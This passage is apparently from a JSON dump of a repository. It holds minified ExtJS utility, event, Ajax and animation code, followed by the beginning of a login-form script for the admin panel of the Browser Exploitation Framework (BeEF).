t?function(F,I,G,H){H=[];for(var E=0,e=F.length;E<e;E++){H.push(F[E])}return H.slice(I||0,G||H.length)}:function(e,F,E){return Array.prototype.slice.call(e,F||0,E||e.length)}}(),isIterable:function(e){if(Ext.isArray(e)||e.callee){return true}if(/NodeList|HTMLCollection/.test(u.call(e))){return true}return((typeof e.nextNode!=\"undefined\"||e.item)&&Ext.isNumber(e.length))},each:function(H,G,F){if(Ext.isEmpty(H,true)){return}if(!Ext.isIterable(H)||Ext.isPrimitive(H)){H=[H]}for(var E=0,e=H.length;E<e;E++){if(G.call(F||H[E],H[E],E,H)===false){return E}}},iterate:function(F,E,e){if(Ext.isEmpty(F)){return}if(Ext.isIterable(F)){Ext.each(F,E,e);return}else{if(typeof F==\"object\"){for(var G in F){if(F.hasOwnProperty(G)){if(E.call(e||F,G,F[G],F)===false){return}}}}}},getDom:function(F,E){if(!F||!i){return null}if(F.dom){return F.dom}else{if(typeof F==\"string\"){var G=i.getElementById(F);if(G&&t&&E){if(F==G.getAttribute(\"id\")){return G}else{return null}}return G}else{return F}}},getBody:function(){return Ext.get(i.body||i.documentElement)},getHead:function(){var e;return function(){if(e==undefined){e=Ext.get(i.getElementsByTagName(\"head\")[0])}return e}}(),removeNode:t&&!q?function(){var e;return function(E){if(E&&E.tagName!=\"BODY\"){(Ext.enableNestedListenerRemoval)?Ext.EventManager.purgeElement(E,true):Ext.EventManager.removeAll(E);e=e||i.createElement(\"div\");e.appendChild(E);e.innerHTML=\"\";delete Ext.elCache[E.id]}}}():function(e){if(e&&e.parentNode&&e.tagName!=\"BODY\"){(Ext.enableNestedListenerRemoval)?Ext.EventManager.purgeElement(e,true):Ext.EventManager.removeAll(e);e.parentNode.removeChild(e);delete Ext.elCache[e.id]}},isEmpty:function(E,e){return E===null||E===undefined||((Ext.isArray(E)&&!E.length))||(!e?E===\"\":false)},isArray:function(e){return u.apply(e)===\"[object Array]\"},isDate:function(e){return u.apply(e)===\"[object Date]\"},isObject:function(e){return !!e&&Object.prototype.toString.call(e)===\"[object Object]\"},isPrimitive:function(e){return Ext.isString(e)||Ext.isNumber(e)||Ext.isBoolean(e)},isFunction:function(e){return u.apply(e)===\"[object Function]\"},isNumber:function(e){return typeof e===\"number\"&&isFinite(e)},isString:function(e){return typeof e===\"string\"},isBoolean:function(e){return typeof e===\"boolean\"},isElement:function(e){return e?!!e.tagName:false},isDefined:function(e){return typeof e!==\"undefined\"},isOpera:C,isWebKit:w,isChrome:h,isSafari:z,isSafari3:b,isSafari4:D,isSafari2:f,isIE:t,isIE6:s,isIE7:r,isIE8:q,isIE9:p,isGecko:o,isGecko2:d,isGecko3:a,isBorderBox:x,isLinux:m,isWindows:B,isMac:k,isAir:j});Ext.ns=Ext.namespace})();Ext.ns(\"Ext.util\",\"Ext.lib\",\"Ext.data\",\"Ext.supports\");Ext.elCache={};Ext.apply(Function.prototype,{createInterceptor:function(b,a){var c=this;return !Ext.isFunction(b)?this:function(){var e=this,d=arguments;b.target=e;b.method=c;return(b.apply(a||e||window,d)!==false)?c.apply(e||window,d):null}},createCallback:function(){var a=arguments,b=this;return function(){return b.apply(window,a)}},createDelegate:function(c,b,a){var d=this;return function(){var f=b||arguments;if(a===true){f=Array.prototype.slice.call(arguments,0);f=f.concat(b)}else{if(Ext.isNumber(a)){f=Array.prototype.slice.call(arguments,0);var e=[a,0].concat(b);Array.prototype.splice.apply(f,e)}}return d.apply(c||window,f)}},defer:function(c,e,b,a){var d=this.createDelegate(e,b,a);if(c>0){return setTimeout(d,c)}d();return 0}});Ext.applyIf(String,{format:function(b){var a=Ext.toArray(arguments,1);return b.replace(/\\{(\\d+)\\}/g,function(c,d){return a[d]})}});Ext.applyIf(Array.prototype,{indexOf:function(b,c){var a=this.length;c=c||0;c+=(c<0)?a:0;for(;c<a;++c){if(this[c]===b){return c}}return -1},remove:function(b){var a=this.indexOf(b);if(a!=-1){this.splice(a,1)}return this}});Ext.util.TaskRunner=function(e){e=e||10;var f=[],a=[],b=0,g=false,d=function(){g=false;clearInterval(b);b=0},h=function(){if(!g){g=true;b=setInterval(i,e)}},c=function(j){a.push(j);if(j.onStop){j.onStop.apply(j.scope||j)}},i=function(){var l=a.length,n=new Date().getTime();if(l>0){for(var p=0;p<l;p++){f.remove(a[p])}a=[];if(f.length<1){d();return}}for(var p=0,o,k,m,j=f.length;p<j;++p){o=f[p];k=n-o.taskRunTime;if(o.interval<=k){m=o.run.apply(o.scope||o,o.args||[++o.taskRunCount]);o.taskRunTime=n;if(m===false||o.taskRunCount===o.repeat){c(o);return}}if(o.duration&&o.duration<=(n-o.taskStartTime)){c(o)}}};this.start=function(j){f.push(j);j.taskStartTime=new Date().getTime();j.taskRunTime=0;j.taskRunCount=0;h();return j};this.stop=function(j){c(j);return j};this.stopAll=function(){d();for(var k=0,j=f.length;k<j;k++){if(f[k].onStop){f[k].onStop()}}f=[];a=[]}};Ext.TaskMgr=new Ext.util.TaskRunner();(function(){var b;function c(d){if(!b){b=new Ext.Element.Flyweight()}b.dom=d;return b}(function(){var g=document,e=g.compatMode==\"CSS1Compat\",f=Math.max,d=Math.round,h=parseInt;Ext.lib.Dom={isAncestor:function(j,k){var i=false;j=Ext.getDom(j);k=Ext.getDom(k);if(j&&k){if(j.contains){return j.contains(k)}else{if(j.compareDocumentPosition){return !!(j.compareDocumentPosition(k)&16)}else{while(k=k.parentNode){i=k==j||i}}}}return i},getViewWidth:function(i){return i?this.getDocumentWidth():this.getViewportWidth()},getViewHeight:function(i){return i?this.getDocumentHeight():this.getViewportHeight()},getDocumentHeight:function(){return f(!e?g.body.scrollHeight:g.documentElement.scrollHeight,this.getViewportHeight())},getDocumentWidth:function(){return f(!e?g.body.scrollWidth:g.documentElement.scrollWidth,this.getViewportWidth())},getViewportHeight:function(){return Ext.isIE?(Ext.isStrict?g.documentElement.clientHeight:g.body.clientHeight):self.innerHeight},getViewportWidth:function(){return !Ext.isStrict&&!Ext.isOpera?g.body.clientWidth:Ext.isIE?g.documentElement.clientWidth:self.innerWidth},getY:function(i){return this.getXY(i)[1]},getX:function(i){return this.getXY(i)[0]},getXY:function(k){var j,q,s,v,l,m,u=0,r=0,t,i,n=(g.body||g.documentElement),o=[0,0];k=Ext.getDom(k);if(k!=n){if(k.getBoundingClientRect){s=k.getBoundingClientRect();t=c(document).getScroll();o=[d(s.left+t.left),d(s.top+t.top)]}else{j=k;i=c(k).isStyle(\"position\",\"absolute\");while(j){q=c(j);u+=j.offsetLeft;r+=j.offsetTop;i=i||q.isStyle(\"position\",\"absolute\");if(Ext.isGecko){r+=v=h(q.getStyle(\"borderTopWidth\"),10)||0;u+=l=h(q.getStyle(\"borderLeftWidth\"),10)||0;if(j!=k&&!q.isStyle(\"overflow\",\"visible\")){u+=l;r+=v}}j=j.offsetParent}if(Ext.isSafari&&i){u-=n.offsetLeft;r-=n.offsetTop}if(Ext.isGecko&&!i){m=c(n);u+=h(m.getStyle(\"borderLeftWidth\"),10)||0;r+=h(m.getStyle(\"borderTopWidth\"),10)||0}j=k.parentNode;while(j&&j!=n){if(!Ext.isOpera||(j.tagName!=\"TR\"&&!c(j).isStyle(\"display\",\"inline\"))){u-=j.scrollLeft;r-=j.scrollTop}j=j.parentNode}o=[u,r]}}return o},setXY:function(j,k){(j=Ext.fly(j,\"_setXY\")).position();var l=j.translatePoints(k),i=j.dom.style,m;for(m in l){if(!isNaN(l[m])){i[m]=l[m]+\"px\"}}},setX:function(j,i){this.setXY(j,[i,false])},setY:function(i,j){this.setXY(i,[false,j])}}})();Ext.lib.Event=function(){var v=false,f={},z=0,o=[],d,A=false,k=window,E=document,l=200,r=20,p=0,i=1,s=2,w=3,t=\"scrollLeft\",q=\"scrollTop\",g=\"unload\",y=\"mouseover\",D=\"mouseout\",e=function(){var F;if(k.addEventListener){F=function(J,H,I,G){if(H==\"mouseenter\"){I=I.createInterceptor(n);J.addEventListener(y,I,(G))}else{if(H==\"mouseleave\"){I=I.createInterceptor(n);J.addEventListener(D,I,(G))}else{J.addEventListener(H,I,(G))}}return I}}else{if(k.attachEvent){F=function(J,H,I,G){J.attachEvent(\"on\"+H,I);return I}}else{F=function(){}}}return F}(),h=function(){var F;if(k.removeEventListener){F=function(J,H,I,G){if(H==\"mouseenter\"){H=y}else{if(H==\"mouseleave\"){H=D}}J.removeEventListener(H,I,(G))}}else{if(k.detachEvent){F=function(I,G,H){I.detachEvent(\"on\"+G,H)}}else{F=function(){}}}return F}();function n(F){return !u(F.currentTarget,x.getRelatedTarget(F))}function u(F,G){if(F&&F.firstChild){while(G){if(G===F){return true}G=G.parentNode;if(G&&(G.nodeType!=1)){G=null}}}return false}function B(){var G=false,L=[],J,I,F,H,K=!v||(z>0);if(!A){A=true;for(I=0;I<o.length;++I){F=o[I];if(F&&(J=E.getElementById(F.id))){if(!F.checkReady||v||J.nextSibling||(E&&E.body)){H=F.override;J=H?(H===true?F.obj:H):J;F.fn.call(J,F.obj);o.remove(F);--I}else{L.push(F)}}}z=(L.length===0)?0:z-1;if(K){m()}else{clearInterval(d);d=null}G=!(A=false)}return G}function m(){if(!d){var F=function(){B()};d=setInterval(F,r)}}function C(){var F=E.documentElement,G=E.body;if(F&&(F[q]||F[t])){return[F[t],F[q]]}else{if(G){return[G[t],G[q]]}else{return[0,0]}}}function j(F,G){F=F.browserEvent||F;var H=F[\"page\"+G];if(!H&&H!==0){H=F[\"client\"+G]||0;if(Ext.isIE){H+=C()[G==\"X\"?0:1]}}return H}var x={extAdapter:true,onAvailable:function(H,F,I,G){o.push({id:H,fn:F,obj:I,override:G,checkReady:false});z=l;m()},addListener:function(H,F,G){H=Ext.getDom(H);if(H&&G){if(F==g){if(f[H.id]===undefined){f[H.id]=[]}f[H.id].push([F,G]);return G}return e(H,F,G,false)}return false},removeListener:function(L,H,K){L=Ext.getDom(L);var J,G,F,I;if(L&&K){if(H==g){if((I=f[L.id])!==undefined){for(J=0,G=I.length;J<G;J++){if((F=I[J])&&F[p]==H&&F[i]==K){f[L.id].splice(J,1)}}}return}h(L,H,K,false)}},getTarget:function(F){F=F.browserEvent||F;return this.resolveTextNode(F.target||F.srcElement)},resolveTextNode:Ext.isGecko?function(G){if(!G){return}var F=HTMLElement.prototype.toString.call(G);if(F==\"[xpconnect wrapped native prototype]\"||F==\"[object XULElement]\"){return}return G.nodeType==3?G.parentNode:G}:function(F){return F&&F.nodeType==3?F.parentNode:F},getRelatedTarget:function(F){F=F.browserEvent||F;return this.resolveTextNode(F.relatedTarget||(/(mouseout|mouseleave)/.test(F.type)?F.toElement:/(mouseover|mouseenter)/.test(F.type)?F.fromElement:null))},getPageX:function(F){return j(F,\"X\")},getPageY:function(F){return j(F,\"Y\")},getXY:function(F){return[this.getPageX(F),this.getPageY(F)]},stopEvent:function(F){this.stopPropagation(F);this.preventDefault(F)},stopPropagation:function(F){F=F.browserEvent||F;if(F.stopPropagation){F.stopPropagation()}else{F.cancelBubble=true}},preventDefault:function(F){F=F.browserEvent||F;if(F.preventDefault){F.preventDefault()}else{if(F.keyCode){F.keyCode=0}F.returnValue=false}},getEvent:function(F){F=F||k.event;if(!F){var G=this.getEvent.caller;while(G){F=G.arguments[0];if(F&&Event==F.constructor){break}G=G.caller}}return F},getCharCode:function(F){F=F.browserEvent||F;return F.charCode||F.keyCode||0},getListeners:function(G,F){Ext.EventManager.getListeners(G,F)},purgeElement:function(G,H,F){Ext.EventManager.purgeElement(G,H,F)},_load:function(F){v=true;if(Ext.isIE&&F!==true){h(k,\"load\",arguments.callee)}},_unload:function(J){var G=Ext.lib.Event,H,M,K,F,I,N;for(F in f){K=f[F];for(H=0,I=K.length;H<I;H++){M=K[H];if(M){try{N=M[w]?(M[w]===true?M[s]:M[w]):k;M[i].call(N,G.getEvent(J),M[s])}catch(L){}}}}Ext.EventManager._unload();h(k,g,G._unload)}};x.on=x.addListener;x.un=x.removeListener;if(E&&E.body){x._load(true)}else{e(k,\"load\",x._load)}e(k,g,x._unload);B();return x}();Ext.lib.Ajax=function(){var g=[\"Msxml2.XMLHTTP.6.0\",\"Msxml2.XMLHTTP.3.0\",\"Msxml2.XMLHTTP\"],d=\"Content-Type\";function h(v){var t=v.conn,w,u={};function s(x,y){for(w in y){if(y.hasOwnProperty(w)){x.setRequestHeader(w,y[w])}}}Ext.apply(u,k.headers,k.defaultHeaders);s(t,u);delete k.headers}function e(v,u,t,s){return{tId:v,status:t?-1:0,statusText:t?\"transaction aborted\":\"communication failure\",isAbort:t,isTimeout:s,argument:u}}function j(s,t){(k.headers=k.headers||{})[s]=t}function p(u,y){var C={},x,w=u.conn,A,B,v=w.status==1223;try{x=u.conn.getAllResponseHeaders();Ext.each(x.replace(/\\r\\n/g,\"\\n\").split(\"\\n\"),function(s){A=s.indexOf(\":\");if(A>=0){B=s.substr(0,A).toLowerCase();if(s.charAt(A+1)==\" \"){++A}C[B]=s.substr(A+1)}})}catch(z){}return{tId:u.tId,status:v?204:w.status,statusText:v?\"No Content\":w.statusText,getResponseHeader:function(s){return C[s.toLowerCase()]},getAllResponseHeaders:function(){return x},responseText:w.responseText,responseXML:w.responseXML,argument:y}}function o(s){if(s.tId){k.conn[s.tId]=null}s.conn=null;s=null}function f(x,y,t,s){if(!y){o(x);return}var v,u;try{if(x.conn.status!==undefined&&x.conn.status!=0){v=x.conn.status}else{v=13030}}catch(w){v=13030}if((v>=200&&v<300)||(Ext.isIE&&v==1223)){u=p(x,y.argument);if(y.success){if(!y.scope){y.success(u)}else{y.success.apply(y.scope,[u])}}}else{switch(v){case 12002:case 12029:case 12030:case 12031:case 12152:case 13030:u=e(x.tId,y.argument,(t?t:false),s);if(y.failure){if(!y.scope){y.failure(u)}else{y.failure.apply(y.scope,[u])}}break;default:u=p(x,y.argument);if(y.failure){if(!y.scope){y.failure(u)}else{y.failure.apply(y.scope,[u])}}}}o(x);u=null}function m(u,x,s,w,t,v){if(s&&s.readyState==4){clearInterval(t[w]);t[w]=null;if(v){clearTimeout(k.timeout[w]);k.timeout[w]=null}f(u,x)}}function r(s,t){k.abort(s,t,true)}function n(u,x){x=x||{};var s=u.conn,w=u.tId,t=k.poll,v=x.timeout||null;if(v){k.conn[w]=s;k.timeout[w]=setTimeout(r.createCallback(u,x),v)}t[w]=setInterval(m.createCallback(u,x,s,w,t,v),k.pollInterval)}function i(w,t,v,s){var u=l()||null;if(u){u.conn.open(w,t,true);if(k.useDefaultXhrHeader){j(\"X-Requested-With\",k.defaultXhrHeader)}if(s&&k.useDefaultHeader&&(!k.headers||!k.headers[d])){j(d,k.defaultPostHeader)}if(k.defaultHeaders||k.headers){h(u)}n(u,v);u.conn.send(s||null)}return u}function l(){var t;try{if(t=q(k.transactionId)){k.transactionId++}}catch(s){}finally{return t}}function q(v){var s;try{s=new XMLHttpRequest()}catch(u){for(var t=Ext.isIE6?1:0;t<g.length;++t){try{s=new ActiveXObject(g[t]);break}catch(u){}}}finally{return{conn:s,tId:v}}}var k={request:function(s,u,v,w,A){if(A){var x=this,t=A.xmlData,y=A.jsonData,z;Ext.applyIf(x,A);if(t||y){z=x.headers;if(!z||!z[d]){j(d,t?\"text/xml\":\"application/json\")}w=t||(!Ext.isPrimitive(y)?Ext.encode(y):y)}}return i(s||A.method||\"POST\",u,v,w)},serializeForm:function(y){var x=y.elements||(document.forms[y]||Ext.getDom(y)).elements,s=false,w=encodeURIComponent,t,z=\"\",v,u;Ext.each(x,function(A){t=A.name;v=A.type;if(!A.disabled&&t){if(/select-(one|multiple)/i.test(v)){Ext.each(A.options,function(B){if(B.selected){u=B.hasAttribute?B.hasAttribute(\"value\"):B.getAttributeNode(\"value\").specified;z+=String.format(\"{0}={1}&\",w(t),w(u?B.value:B.text))}})}else{if(!(/file|undefined|reset|button/i.test(v))){if(!(/radio|checkbox/i.test(v)&&!A.checked)&&!(v==\"submit\"&&s)){z+=w(t)+\"=\"+w(A.value)+\"&\";s=/submit/i.test(v)}}}}});return z.substr(0,z.length-1)},useDefaultHeader:true,defaultPostHeader:\"application/x-www-form-urlencoded; charset=UTF-8\",useDefaultXhrHeader:true,defaultXhrHeader:\"XMLHttpRequest\",poll:{},timeout:{},conn:{},pollInterval:50,transactionId:0,abort:function(v,x,s){var u=this,w=v.tId,t=false;if(u.isCallInProgress(v)){v.conn.abort();clearInterval(u.poll[w]);u.poll[w]=null;clearTimeout(k.timeout[w]);u.timeout[w]=null;f(v,x,(t=true),s)}return t},isCallInProgress:function(s){return s.conn&&!{0:true,4:true}[s.conn.readyState]}};return k}();(function(){var g=Ext.lib,i=/width|height|opacity|padding/i,f=/^((width|height)|(top|left))$/,d=/width|height|top$|bottom$|left$|right$/i,h=/\\d+(em|%|en|ex|pt|in|cm|mm|pc)$/i,j=function(k){return typeof k!==\"undefined\"},e=function(){return new Date()};g.Anim={motion:function(n,l,o,p,k,m){return this.run(n,l,o,p,k,m,Ext.lib.Motion)},run:function(o,l,q,r,k,n,m){m=m||Ext.lib.AnimBase;if(typeof r==\"string\"){r=Ext.lib.Easing[r]}var p=new m(o,l,q,r);p.animateX(function(){if(Ext.isFunction(k)){k.call(n)}});return p}};g.AnimBase=function(l,k,m,n){if(l){this.init(l,k,m,n)}};g.AnimBase.prototype={doMethod:function(k,n,l){var m=this;return m.method(m.curFrame,n,l-n,m.totalFrames)},setAttr:function(k,m,l){if(i.test(k)&&m<0){m=0}Ext.fly(this.el,\"_anim\").setStyle(k,m+l)},getAttr:function(k){var m=Ext.fly(this.el),n=m.getStyle(k),l=f.exec(k)||[];if(n!==\"auto\"&&!h.test(n)){return parseFloat(n)}return(!!(l[2])||(m.getStyle(\"position\")==\"absolute\"&&!!(l[3])))?m.dom[\"offset\"+l[0].charAt(0).toUpperCase()+l[0].substr(1)]:0},getDefaultUnit:function(k){return d.test(k)?\"px\":\"\"},animateX:function(n,k){var l=this,m=function(){l.onComplete.removeListener(m);if(Ext.isFunction(n)){n.call(k||l,l)}};l.onComplete.addListener(m,l);l.animate()},setRunAttr:function(p){var r=this,s=this.attributes[p],t=s.to,q=s.by,u=s.from,v=s.unit,l=(this.runAttrs[p]={}),m;if(!j(t)&&!j(q)){return false}var k=j(u)?u:r.getAttr(p);if(j(t)){m=t}else{if(j(q)){if(Ext.isArray(k)){m=[];for(var n=0,o=k.length;n<o;n++){m[n]=k[n]+q[n]}}else{m=k+q}}}Ext.apply(l,{start:k,end:m,unit:j(v)?v:r.getDefaultUnit(p)})},init:function(l,p,o,k){var r=this,n=0,s=g.AnimMgr;Ext.apply(r,{isAnimated:false,startTime:null,el:Ext.getDom(l),attributes:p||{},duration:o||1,method:k||g.Easing.easeNone,useSec:true,curFrame:0,totalFrames:s.fps,runAttrs:{},animate:function(){var u=this,v=u.duration;if(u.isAnimated){return false}u.curFrame=0;u.totalFrames=u.useSec?Math.ceil(s.fps*v):v;s.registerElement(u)},stop:function(u){var v=this;if(u){v.curFrame=v.totalFrames;v._onTween.fire()}s.stop(v)}});var t=function(){var v=this,u;v.onStart.fire();v.runAttrs={};for(u in this.attributes){this.setRunAttr(u)}v.isAnimated=true;v.startTime=e();n=0};var q=function(){var v=this;v.onTween.fire({duration:e()-v.startTime,curFrame:v.curFrame});var w=v.runAttrs;for(var u in w){this.setAttr(u,v.doMethod(u,w[u].start,w[u].end),w[u].unit)}++n};var m=function(){var u=this,w=(e()-u.startTime)/1000,v={duration:w,frames:n,fps:n/w};u.isAnimated=false;n=0;u.onComplete.fire(v)};r.onStart=new Ext.util.Event(r);r.onTween=new Ext.util.Event(r);r.onComplete=new Ext.util.Event(r);(r._onStart=new Ext.util.Event(r)).addListener(t);(r._onTween=new Ext.util.Event(r)).addListener(q);(r._onComplete=new Ext.util.Event(r)).addListener(m)}};Ext.lib.AnimMgr=new function(){var o=this,m=null,l=[],k=0;Ext.apply(o,{fps:1000,delay:1,registerElement:function(q){l.push(q);++k;q._onStart.fire();o.start()},unRegister:function(r,q){r._onComplete.fire();q=q||p(r);if(q!=-1){l.splice(q,1)}if(--k<=0){o.stop()}},start:function(){if(m===null){m=setInterval(o.run,o.delay)}},stop:function(s){if(!s){clearInterval(m);for(var r=0,q=l.length;r<q;++r){if(l[0].isAnimated){o.unRegister(l[0],0)}}l=[];m=null;k=0}else{o.unRegister(s)}},run:function(){var t,s,q,r;for(s=0,q=l.length;s<q;s++){r=l[s];if(r&&r.isAnimated){t=r.totalFrames;if(r.curFrame<t||t===null){++r.curFrame;if(r.useSec){n(r)}r._onTween.fire()}else{o.stop(r)}}}}});var p=function(s){var r,q;for(r=0,q=l.length;r<q;r++){if(l[r]===s){return r}}return -1};var n=function(r){var v=r.totalFrames,u=r.curFrame,t=r.duration,s=(u*t*1000/v),q=(e()-r.startTime),w=0;if(q<t*1000){w=Math.round((q/s-1)*u)}else{w=v-(u+1)}if(w>0&&isFinite(w)){if(r.curFrame+w>=v){w=v-(u+1)}r.curFrame+=w}}};g.Bezier=new function(){this.getPosition=function(p,o){var r=p.length,m=[],q=1-o,l,k;for(l=0;l<r;++l){m[l]=[p[l][0],p[l][1]]}for(k=1;k<r;++k){for(l=0;l<r-k;++l){m[l][0]=q*m[l][0]+o*m[parseInt(l+1,10)][0];m[l][1]=q*m[l][1]+o*m[parseInt(l+1,10)][1]}}return[m[0][0],m[0][1]]}};g.Easing={easeNone:function(l,k,n,m){return n*l/m+k},easeIn:function(l,k,n,m){return n*(l/=m)*l+k},easeOut:function(l,k,n,m){return -n*(l/=m)*(l-2)+k}};(function(){g.Motion=function(o,n,p,q){if(o){g.Motion.superclass.constructor.call(this,o,n,p,q)}};Ext.extend(g.Motion,Ext.lib.AnimBase);var m=g.Motion.superclass,l=/^points$/i;Ext.apply(g.Motion.prototype,{setAttr:function(n,r,q){var p=this,o=m.setAttr;if(l.test(n)){q=q||\"px\";o.call(p,\"left\",r[0],q);o.call(p,\"top\",r[1],q)}else{o.call(p,n,r,q)}},getAttr:function(n){var p=this,o=m.getAttr;return l.test(n)?[o.call(p,\"left\"),o.call(p,\"top\")]:o.call(p,n)},doMethod:function(n,q,o){var p=this;return l.test(n)?g.Bezier.getPosition(p.runAttrs[n],p.method(p.curFrame,0,100,p.totalFrames)/100):m.doMethod.call(p,n,q,o)},setRunAttr:function(u){if(l.test(u)){var w=this,p=this.el,z=this.attributes.points,s=z.control||[],x=z.from,y=z.to,v=z.by,A=g.Dom,o,r,q,t,n;if(s.length>0&&!Ext.isArray(s[0])){s=[s]}else{}Ext.fly(p,\"_anim\").position();A.setXY(p,j(x)?x:A.getXY(p));o=w.getAttr(\"points\");if(j(y)){q=k.call(w,y,o);for(r=0,t=s.length;r<t;++r){s[r]=k.call(w,s[r],o)}}else{if(j(v)){q=[o[0]+v[0],o[1]+v[1]];for(r=0,t=s.length;r<t;++r){s[r]=[o[0]+s[r][0],o[1]+s[r][1]]}}}n=this.runAttrs[u]=[o];if(s.length>0){n=n.concat(s)}n[n.length]=q}else{m.setRunAttr.call(this,u)}}});var k=function(n,p){var o=g.Dom.getXY(this.el);return[n[0]-o[0]+p[0],n[1]-o[1]+p[1]]}})()})();(function(){var d=Math.abs,i=Math.PI,h=Math.asin,g=Math.pow,e=Math.sin,f=Ext.lib;Ext.apply(f.Easing,{easeBoth:function(k,j,m,l){return((k/=l/2)<1)?m/2*k*k+j:-m/2*((--k)*(k-2)-1)+j},easeInStrong:function(k,j,m,l){return m*(k/=l)*k*k*k+j},easeOutStrong:function(k,j,m,l){return -m*((k=k/l-1)*k*k*k-1)+j},easeBothStrong:function(k,j,m,l){return((k/=l/2)<1)?m/2*k*k*k*k+j:-m/2*((k-=2)*k*k*k-2)+j},elasticIn:function(l,j,q,o,k,n){if(l==0||(l/=o)==1){return l==0?j:j+q}n=n||(o*0.3);var m;if(k>=d(q)){m=n/(2*i)*h(q/k)}else{k=q;m=n/4}return -(k*g(2,10*(l-=1))*e((l*o-m)*(2*i)/n))+j},elasticOut:function(l,j,q,o,k,n){if(l==0||(l/=o)==1){return l==0?j:j+q}n=n||(o*0.3);var m;if(k>=d(q)){m=n/(2*i)*h(q/k)}else{k=q;m=n/4}return k*g(2,-10*l)*e((l*o-m)*(2*i)/n)+q+j},elasticBoth:function(l,j,q,o,k,n){if(l==0||(l/=o/2)==2){return l==0?j:j+q}n=n||(o*(0.3*1.5));var m;if(k>=d(q)){m=n/(2*i)*h(q/k)}else{k=q;m=n/4}return l<1?-0.5*(k*g(2,10*(l-=1))*e((l*o-m)*(2*i)/n))+j:k*g(2,-10*(l-=1))*e((l*o-m)*(2*i)/n)*0.5+q+j},backIn:function(k,j,n,m,l){l=l||1.70158;return n*(k/=m)*k*((l+1)*k-l)+j},backOut:function(k,j,n,m,l){if(!l){l=1.70158}return n*((k=k/m-1)*k*((l+1)*k+l)+1)+j},backBoth:function(k,j,n,m,l){l=l||1.70158;return((k/=m/2)<1)?n/2*(k*k*(((l*=(1.525))+1)*k-l))+j:n/2*((k-=2)*k*(((l*=(1.525))+1)*k+l)+2)+j},bounceIn:function(k,j,m,l){return m-f.Easing.bounceOut(l-k,0,m,l)+j},bounceOut:function(k,j,m,l){if((k/=l)<(1/2.75)){return m*(7.5625*k*k)+j}else{if(k<(2/2.75)){return m*(7.5625*(k-=(1.5/2.75))*k+0.75)+j}else{if(k<(2.5/2.75)){return m*(7.5625*(k-=(2.25/2.75))*k+0.9375)+j}}}return m*(7.5625*(k-=(2.625/2.75))*k+0.984375)+j},bounceBoth:function(k,j,m,l){return(k<l/2)?f.Easing.bounceIn(k*2,0,m,l)*0.5+j:f.Easing.bounceOut(k*2-l,0,m,l)*0.5+m*0.5+j}})})();(function(){var h=Ext.lib;h.Anim.color=function(p,n,q,r,m,o){return h.Anim.run(p,n,q,r,m,o,h.ColorAnim)};h.ColorAnim=function(n,m,o,p){h.ColorAnim.superclass.constructor.call(this,n,m,o,p)};Ext.extend(h.ColorAnim,h.AnimBase);var j=h.ColorAnim.superclass,i=/color$/i,f=/^transparent|rgba\\(0, 0, 0, 0\\)$/,l=/^rgb\\(([0-9]+)\\s*,\\s*([0-9]+)\\s*,\\s*([0-9]+)\\)$/i,d=/^#?([0-9A-F]{2})([0-9A-F]{2})([0-9A-F]{2})$/i,e=/^#?([0-9A-F]{1})([0-9A-F]{1})([0-9A-F]{1})$/i,g=function(m){return typeof m!==\"undefined\"};function k(n){var p=parseInt,o,m=null,q;if(n.length==3){return n}Ext.each([d,l,e],function(s,r){o=(r%2==0)?16:10;q=s.exec(n);if(q&&q.length==4){m=[p(q[1],o),p(q[2],o),p(q[3],o)];return false}});return m}Ext.apply(h.ColorAnim.prototype,{getAttr:function(m){var o=this,n=o.el,p;if(i.test(m)){while(n&&f.test(p=Ext.fly(n).getStyle(m))){n=n.parentNode;p=\"fff\"}}else{p=j.getAttr.call(o,m)}return p},doMethod:function(s,m,o){var t=this,n,q=Math.floor,p,r,u;if(i.test(s)){n=[];o=o||[];for(p=0,r=m.length;p<r;p++){u=m[p];n[p]=j.doMethod.call(t,s,u,o[p])}n=\"rgb(\"+q(n[0])+\",\"+q(n[1])+\",\"+q(n[2])+\")\"}else{n=j.doMethod.call(t,s,m,o)}return n},setRunAttr:function(r){var t=this,u=t.attributes[r],v=u.to,s=u.by,n;j.setRunAttr.call(t,r);n=t.runAttrs[r];if(i.test(r)){var m=k(n.start),o=k(n.end);if(!g(v)&&g(s)){o=k(s);for(var p=0,q=m.length;p<q;p++){o[p]=m[p]+o[p]}}n.start=m;n.end=o}}})})();(function(){var d=Ext.lib;d.Anim.scroll=function(j,h,k,l,g,i){return d.Anim.run(j,h,k,l,g,i,d.Scroll)};d.Scroll=function(h,g,i,j){if(h){d.Scroll.superclass.constructor.call(this,h,g,i,j)}};Ext.extend(d.Scroll,d.ColorAnim);var f=d.Scroll.superclass,e=\"scroll\";Ext.apply(d.Scroll.prototype,{doMethod:function(g,m,h){var k,j=this,l=j.curFrame,i=j.totalFrames;if(g==e){k=[j.method(l,m[0],h[0]-m[0],i),j.method(l,m[1],h[1]-m[1],i)]}else{k=f.doMethod.call(j,g,m,h)}return k},getAttr:function(g){var h=this;if(g==e){return[h.el.scrollLeft,h.el.scrollTop]}else{return f.getAttr.call(h,g)}},setAttr:function(g,j,i){var h=this;if(g==e){h.el.scrollLeft=j[0];h.el.scrollTop=j[1]}else{f.setAttr.call(h,g,j,i)}}})})();if(Ext.isIE){function a(){var d=Function.prototype;delete d.createSequence;delete d.defer;delete d.createDelegate;delete d.createCallback;delete d.createInterceptor;window.detachEvent(\"onunload\",a)}window.attachEvent(\"onunload\",a)}})();"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/authentication.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nExt.onReady(function() {\n\n\tsubmitAuthForm = function() {\n\n\t\tlogin_mask.show();\n\t\tlogin_form.getForm().submit({\n\n\t\t\tsuccess: function() {\n\t\t\t\twindow.location.href = \"<%= @base_path %>/panel\"\n\t\t\t}, \n\t\t\tfailure: function() {\n\t\t\t\tif(Ext.get('loginError') == null) {\n\t\t\t\t\tExt.DomHelper.insertAfter('loadingError', {id:'loginError', html: '<b>ERROR</b>: invalid username or password'});\n\t\t\t\t}\n\t\t\t\tlogin_mask.hide();\n\t\t\t}\n\t\t});\n\t}\n\n\tvar login_form = new Ext.form.FormPanel({\n\n\t\turl: 'authentication/login',\n\t\tformId: 'login_form',\n\t\tlabelWidth: 125,\n\t\tframe: true,\n\t\ttitle: 'Authentication',\n\t\tbodyStyle:'padding:5px 5px 0',\n\t\twidth: 350,\n\t\tdefaults: {\n\t\t\twidth: 175,\n\t\t\tinputType: 